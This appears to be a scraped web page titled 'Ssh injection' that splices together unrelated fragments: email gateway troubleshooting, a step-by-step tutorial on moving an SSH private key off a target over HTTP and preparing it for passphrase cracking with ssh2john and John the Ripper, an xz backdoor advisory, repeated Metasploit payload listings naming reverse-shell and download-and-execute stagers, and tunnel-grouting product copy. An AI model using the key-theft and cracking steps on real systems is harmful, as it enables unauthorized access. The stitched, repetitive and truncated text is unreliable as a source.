Ssh injection

To connect from the listener to the actual email gateway: mail3.example.com> telnetPlease select which interface you want to telnet from.1. Auto2. Management (192.168.42.42/24: mail3.example.com)3. PrivateNet (192.168.1.1/24: mail3.example.com)4. PublicNet (192.168.2.1/24: mail3.example.com)[1]> 3Enter the remote hostname or IP.[]> 193.168.1.1Enter the remote port.[25]> 25Trying 193.168.1.1...Connected to 193.168.1.1.Escape character is '^]'. If you cannot connect from one interface to another, you may have issues with the way in which the email gateway's Management and Data1 and Data2 interfaces are connected to your network. See FTP, SSH, and SCP Access for more information. You can telnet to port 25 of the listener and enter SMTP commands manually (if you are familiar with the protocol). Examine the IronPort text mail logs and injection debug logs to check for receiving errors. Injection debug logs record the SMTP conversation between the email gateway and a specified host connecting to the system. Injection debug logs are useful for troubleshooting communication problems between the email gateway and a client initiating a connection from the Internet. The log records all bytes transmitted between the two systems and classifies them as “Sent to” the connecting host or “Received from” the connecting host. For more information, see Using Text Mail Logs and Using Injection Debug Logs. Troubleshooting Email Delivery From the Appliance If you suspect problems with delivering email from the email gateway, try the following strategies: Determine if the problem is domain-specific. Use the tophosts command to get immediate information about the email queue and determine if a particular recipient domain has

Been saved in /home/nullbyte/.ssh/id_rsa.Your public key has been saved in /home/nullbyte/.ssh/id_rsa.pub.The key fingerprint is:1b:01:68:cc:ea:4f:8e:b5:08:72:17:50:32:1b:98:e6 nullbyte@targetNow we can change into the hidden SSH directory:nullbyte@target:~$ cd .ssh/And verify our keys are there:nullbyte@target:~/.ssh$ ls -latotal 16drwx------ 2 nullbyte nullbyte 4096 2019-06-19 13:49 .drwxr-xr-x 3 nullbyte nullbyte 4096 2019-06-19 13:46 ..-rw------- 1 nullbyte nullbyte 1743 2019-06-19 13:49 id_rsa-rw-r--r-- 1 nullbyte nullbyte 405 2019-06-19 13:49 id_rsa.pubWe'll also need to create an authorized_keys file to make sure we're allowed to connect from our other machine:nullbyte@target:~/.ssh$ touch authorized_keysSet the appropriate permissions on it to ensure only our user can read and write the file:nullbyte@target:~/.ssh$ chmod 600 authorized_keysThe public key needs to go in this file, so cat it out:nullbyte@target:~/.ssh$ cat id_rsa.pubssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7IATfm6Y2VDtlEkWNGLJ5r9z9euOD1mHcWeB4vCcY+9M+XTEkILb8gk0/0uaNrLfBgcrZi8Y15wIib8122KYfwVIxVn0kbp5sggo4ZZQ9AXAPsdXyP8iIhCdbu34QkEu+pdq1jjK2QKbJRhRt4woAKGXxpApGfWdbyDdElo001VjjmDIpUwKU695YlF98baOlxgUdtW+zhL8J2W6cABeQEO3pXaiu560mJxSfRX8J++5djHiwJ9LMQAVD8khrvYfmnExeT1CuhNcbxdD/kU64ccV0zhecUQgXR1zEY/tWVdJL8wWfUnHWza2BiYqCeEhIdKGlVLvPUx5LbihLUFdCw== nullbyte@targetAnd copy it into the authorized_keys file, making sure there are no line breaks or extra spaces:nullbyte@target:~/.ssh$ nano authorized_keys Get the Private Key on the Local MachineAt this point, we need to get the private key (id_rsa) on our local machine. This can happen through a variety of scenarios, like if we had read access due to LFI or even command injection allowing us to execute certain commands.For demonstration purposes, we'll just transfer it over via HTTP. It's always a good idea to check which, if any, version of Python is installed:Don't Miss: Python 2 vs. Python 3 — Important Differences You Should Knownullbyte@target:~/.ssh$ which python/usr/bin/pythonWe can spin up a quick HTTP server with the following command:nullbyte@target:~/.ssh$ python -m SimpleHTTPServerServing HTTP on 0.0.0.0 port 8000 ...On our local machine, we can use wget to grab the file:~# wget 12:19:39-- to 10.10.0.50:8000... connected.HTTP request sent, awaiting response... 200 OKLength: 1743 (1.7K) [application/octet-stream]Saving to: ‘id_rsa’id_rsa 100%[=====================================================================================>] 1.70K --.-KB/s in 0.001s2020-04-15 12:19:49 (2.18 MB/s) - ‘id_rsa’ saved [1743/1743]And verify its contents:~# cat id_rsa-----BEGIN RSA PRIVATE KEY-----Proc-Type: 4,ENCRYPTEDDEK-Info: DES-EDE3-CBC,9A447029ABFAC605WiRuWyOFt8x+eCwBIbRdhpa8pm1YIuBIC1Od73vslxlIcYYkSz8AqCr8k/sus6uYJHHO6KXjkJCpH/okU9bWGPzQf1cj2jWFf/y7EOSmd1e7RbIA8xWYcAWKPhnvwgnuz+d6SFSYyj4rkKUvqloclKCblp6M5sCza0YksTzmEJZz/tHWRwHGRG31TvJHiqxQn9FpriG5MqZoegcYJgvt+z9rrPNf/jaZZb9ulYwxRn+5nCbWqBilu/Mh5knN608cuW2UyIlyJ2BpyYrOgqadTkMgIwrwERrbU6LmgVtZXCc6/cACdMwdu6gv17MtfOlMytzEZ66aa98EFrFfuFX2LgoOBpi4nAAo3yZ7ISWpWnbnPFzhT89gBAdruh8fo5X407gAajsTiJrCW2nZSqBFx4BTAqYP7IcvDv2iAUEg6bfqC2bqpIfjYYcLuy0+YQv47uNH9jpT+ZfOY6VK4oG1p+1ieOVothNxcoj0+StUL5i5dQYoW9te8z8+qqswAE9SaobSSQAUvdNh07XH0TXg+QTsiJGLNMaWmwMBw50WkzJOwN759zuk2b1LbHTpsgbQAngfcMfoHOvlhnHZNSbCeDB9SzQwkhLnQ6CktQaQaa5AY/E2ll+/W0Dmr4QEhk7ez30FE3QqZU7fqxx7esXTMm8z6lvhQNSWRRxsg48rHub+Mq739T+Yi7xK4C9SCzwe7BYDqp2ekinCf+5OKf3UObNo5Cugb3viapDKHyWulH+dXdxSkLUsgzDoFdFz0H3mwvc8Qfn0JoVWFxwd1J3B32ZcEIneeGyotrODz5bRmqLv/T7mdM/HRASdonTROEPnG+Mv65R+MRiAhRIIZO3a8J8eSAzq3AVBuq+gbLabnNvGY2N7KSQ3OBV4XSDYS43RHuRz2u1GI+sXOr7ZXoQeKbl9qoymRvpppf5kI5IrQBoHGF92GGVLBGJOBg9M/YNcmLNm9lz2Y+9LmHU6lgq51a7ZfViVFvj+Us63DoSgdyHvC2oj2zWPOFf9Dm4r8aCObFS2BFb7UvBd/G2GxnYFKygTHZhPmZ2y/5fBBF5IA/rbQdE5SqC2MJmB0oOgB07vcsqQ5tX8guIxOnh/KHocR/B8Fwf90shrOWoVC0kqGZJN5PrepzPCvoMcJLknC0Q8eUinaZ0r3UCv7z0gjlz66qWERIMlUczBnLALRf4nVkfP3NHrLinZooGnOh7pkXpmmg2qTXWnJ+vwfEDb4M0DYOFKa/AxO2wWsCuvc7ZJYvZL2HSWNVl6fRcFTWbrbIr/ajTfjIclAonNYgGxoDAQKtSSolrNdOquemW79evgdAN/Jtbp5irV3bG0hTcJSIPpkVBSXe3pslX6BUeOPl9KFT9CNxIjNFZkJ/gUxIV9LOIEcmHCB04iGVFl/KQA2FWD27fOZbQPG/h4XC6Zm2iGU7ub0FNA2rId1ZRXlE04gYu5g/nmnAOlSbcqcN+xoMmhL31FphscezkNda/Fw70+y/5buYGSs4tMsUKuiTkZsqSW9j3R9I/7KLHbpKX7fI7nOURnUxXvDLoXihVQ9kTgTJM6d8pbHYuda4po2IvXWqdnbtHP7Ezz4A==-----END RSA PRIVATE KEY----- Install SSH2John on the Local MachineUnless the jumbo version of John the Ripper is installed, we'll need to download ssh2john from GitHub since it's not included in the John the Ripper version that's installed in Kali Linux. (If you don't have John the Ripper installed, you can find out how to install it from its GitHub.)~# wget 12:26:03-- raw.githubusercontent.com (raw.githubusercontent.com)... 199.232.28.133Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|199.232.28.133|:443... connected.HTTP request sent, awaiting response... 200 OKLength: 7825 (7.6K) [text/plain]Saving to: ‘ssh2john.py’ssh2john.py 100%[=====================================================================================>] 7.64K --.-KB/s in 0s2020-06-07 12:26:04 (21.2 MB/s) - ‘ssh2john.py’ saved [7825/7825] Crack the Private Key on the Local MachineAll we have to do is run it against the private key and direct the results to a new hash file using the ssh2john Python tool:~# python ssh2john.py id_rsa > id_rsa.hashNext, we'll use John to crack the password. But first, we need a suitable wordlist; we'll use a short one that already contains our password to keep it simple. Get it from

Update by following the instructions at March 30, 2024: We have determined that Fedora Linux 40 beta does contain two affected versions of xz libraries - xz-libs-5.6.0-1.fc40.x86_64.rpm and xz-libs-5.6.0-2.fc40.x86_64.rpm. At this time, Fedora 40 Linux does not appear to be affected by the actual malware exploit, but we encourage all Fedora 40 Linux beta users to revert to 5.4.x versions.What is xz?xz is a general purpose data compression format present in nearly every Linux distribution, both community projects and commercial product distributions. Essentially, it helps compress (and then decompress) large file formats into smaller, more manageable sizes for sharing via file transfers.What is the malicious code?The malicious injection present in the xz versions 5.6.0 and 5.6.1 libraries is obfuscated and only included in full in the download package - the Git distribution lacks the M4 macro that triggers the build of the malicious code. The second-stage artifacts are present in the Git repository for the injection during the build time, in case the malicious M4 macro is present.The resulting malicious build interferes with authentication in sshd via systemd. SSH is a commonly used protocol for connecting remotely to systems, and sshd is the service that allows access. Under the right circumstances this interference could potentially enable a malicious actor to break sshd authentication and gain unauthorized access to the entire system remotely.What distributions are affected by this malicious code?Current investigation indicates that the packages are only present in Fedora 40 and Fedora Rawhide within the Red Hat community ecosystem.We have reports and evidence of the injections successfully building in xz 5.6.x versions built for Debian unstable (Sid). Other distributions may also be affected. Users of other distributions should consult with their distributors for guidance.What should I do if I am running an affected distribution?For both personal and business activities, immediately

Stager 7 payload/windows/dllinject/bind_ipv6_tcp normal No Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86) 8 payload/windows/dllinject/bind_ipv6_tcp_uuid normal No Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86) 9 payload/windows/dllinject/bind_named_pipe normal No Reflective DLL Injection, Windows x86 Bind Named Pipe Stager 10 payload/windows/dllinject/bind_nonx_tcp normal No Reflective DLL Injection, Bind TCP Stager (No NX or Win7) 11 payload/windows/dllinject/bind_tcp normal No Reflective DLL Injection, Bind TCP Stager (Windows x86) 12 payload/windows/dllinject/bind_tcp_uuid normal No Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86) 13 payload/windows/dllinject/reverse_hop_http normal No Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager 14 payload/windows/dllinject/reverse_ipv6_tcp normal No Reflective DLL Injection, Reverse TCP Stager (IPv6) 15 payload/windows/dllinject/reverse_nonx_tcp normal No Reflective DLL Injection, Reverse TCP Stager (No NX or Win7) 16 payload/windows/dllinject/reverse_ord_tcp normal No Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7) 17 payload/windows/dllinject/reverse_tcp normal No Reflective DLL Injection, Reverse TCP Stager 18 payload/windows/dllinject/reverse_tcp_allports normal No Reflective DLL Injection, Reverse All-Port TCP Stager 19 payload/windows/dllinject/reverse_tcp_dns normal No Reflective DLL Injection, Reverse TCP Stager (DNS) 20 payload/windows/dllinject/reverse_tcp_uuid normal No Reflective DLL Injection, Reverse TCP Stager with UUID Support 21 payload/windows/dns_txt_query_exec normal No DNS TXT Record Payload Download and Execution 22 payload/windows/exec normal No Windows Execute Command 23 payload/windows/loadlibrary normal No Windows LoadLibrary Path 24 payload/windows/messagebox normal No Windows MessageBox 25 payload/windows/meterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager 26 payload/windows/meterpreter/bind_hidden_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager 27 payload/windows/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86) 28 payload/windows/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86) 29 payload/windows/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager 30 payload/windows/meterpreter/bind_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7) 31 payload/windows/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86) 32 payload/windows/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86) 33 payload/windows/meterpreter/reverse_hop_http normal No Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager 34 payload/windows/meterpreter/reverse_https_proxy normal No Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy 35 payload/windows/meterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6) 36 payload/windows/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager 37 payload/windows/meterpreter/reverse_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7) 38 payload/windows/meterpreter/reverse_ord_tcp normal No Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7) 39 payload/windows/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager 40 payload/windows/meterpreter/reverse_tcp_allports normal No Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager 41 payload/windows/meterpreter/reverse_tcp_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS) 42 payload/windows/meterpreter/reverse_tcp_uuid normal No

Behind concrete and masonry lining Sprayable waterproofing membrane on old tunnel lining Eventual sprayed concreteGrouting is a design choice: Pre-injection vs Post InjectionPre-injection – proactive, relies on effective probing and decision making at the face, cheap materials, 10 to 50 times then post, pre-injection often difficult in soft ground tunneling.Post-injection – reactive, the last resort, expensive chemicals, unstable conditions and uncontrollable water inflows.Make the right choice of materials for the right situation at the design stage. Mapei provides a complete system of Pre Injection and Post Injection for Civil Engineering Projects. Find out more information from UTT Mapei. Products mentioned in the article RESFOAM 1KM One-component, ultra-fluid polyurethane resin applied by injection for waterproofing structures and ground and rocks subject to intense… MAPEGEL UTT SYSTEM Three-component flexible hydrophilic gel for waterproofing injection in underground structures Solutions Injection Solutions for Underground Construction Sep 18, 2020, 05:19 by Cynthia Chong Find out the differences between pre-injection and post injection system when it comes to underground construction. It helps to make the right choice of materials for the right situation at the design stage. Injection Solutions for Underground Construction Sep 18, 2020, 05:19 by Cynthia Chong Find out the differences between pre-injection and post injection system when it comes to underground construction. It helps to make the right choice of materials for the right situation at the design stage. Injection Solutions for Underground Construction Sep 18, 2020, 05:19 by Cynthia Chong Find out the differences between pre-injection and post injection system when it

No Reflective DLL Injection, Hidden Bind TCP Stager 7 payload/windows/dllinject/bind_ipv6_tcp normal No Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86) 8 payload/windows/dllinject/bind_ipv6_tcp_uuid normal No Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86) 9 payload/windows/dllinject/bind_named_pipe normal No Reflective DLL Injection, Windows x86 Bind Named Pipe Stager 10 payload/windows/dllinject/bind_nonx_tcp normal No Reflective DLL Injection, Bind TCP Stager (No NX or Win7) 11 payload/windows/dllinject/bind_tcp normal No Reflective DLL Injection, Bind TCP Stager (Windows x86) 12 payload/windows/dllinject/bind_tcp_rc4 normal No Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm) 13 payload/windows/dllinject/bind_tcp_uuid normal No Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86) 14 payload/windows/dllinject/reverse_hop_http normal No Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager 15 payload/windows/dllinject/reverse_http normal No Reflective DLL Injection, Windows Reverse HTTP Stager (wininet) 16 payload/windows/dllinject/reverse_ipv6_tcp normal No Reflective DLL Injection, Reverse TCP Stager (IPv6) 17 payload/windows/dllinject/reverse_nonx_tcp normal No Reflective DLL Injection, Reverse TCP Stager (No NX or Win7) 18 payload/windows/dllinject/reverse_ord_tcp normal No Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7) 19 payload/windows/dllinject/reverse_tcp normal No Reflective DLL Injection, Reverse TCP Stager 20 payload/windows/dllinject/reverse_tcp_allports normal No Reflective DLL Injection, Reverse All-Port TCP Stager 21 payload/windows/dllinject/reverse_tcp_dns normal No Reflective DLL Injection, Reverse TCP Stager (DNS) 22 payload/windows/dllinject/reverse_tcp_rc4 normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm) 23 payload/windows/dllinject/reverse_tcp_rc4_dns normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm) 24 payload/windows/dllinject/reverse_tcp_uuid normal No Reflective DLL Injection, Reverse TCP Stager with UUID Support 25 payload/windows/dllinject/reverse_winhttp normal No Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp) 26 payload/windows/dns_txt_query_exec normal No DNS TXT Record Payload Download and Execution 27 payload/windows/download_exec normal No Windows Executable Download (http,https,ftp) and Execute 28 payload/windows/exec normal No Windows Execute Command 29 payload/windows/loadlibrary normal No Windows LoadLibrary Path 30 payload/windows/messagebox normal No Windows MessageBox 31 payload/windows/meterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager 32 payload/windows/meterpreter/bind_hidden_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager 33 payload/windows/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86) 34 payload/windows/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86) 35 payload/windows/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager 36 payload/windows/meterpreter/bind_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7) 37 payload/windows/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86) 38 payload/windows/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective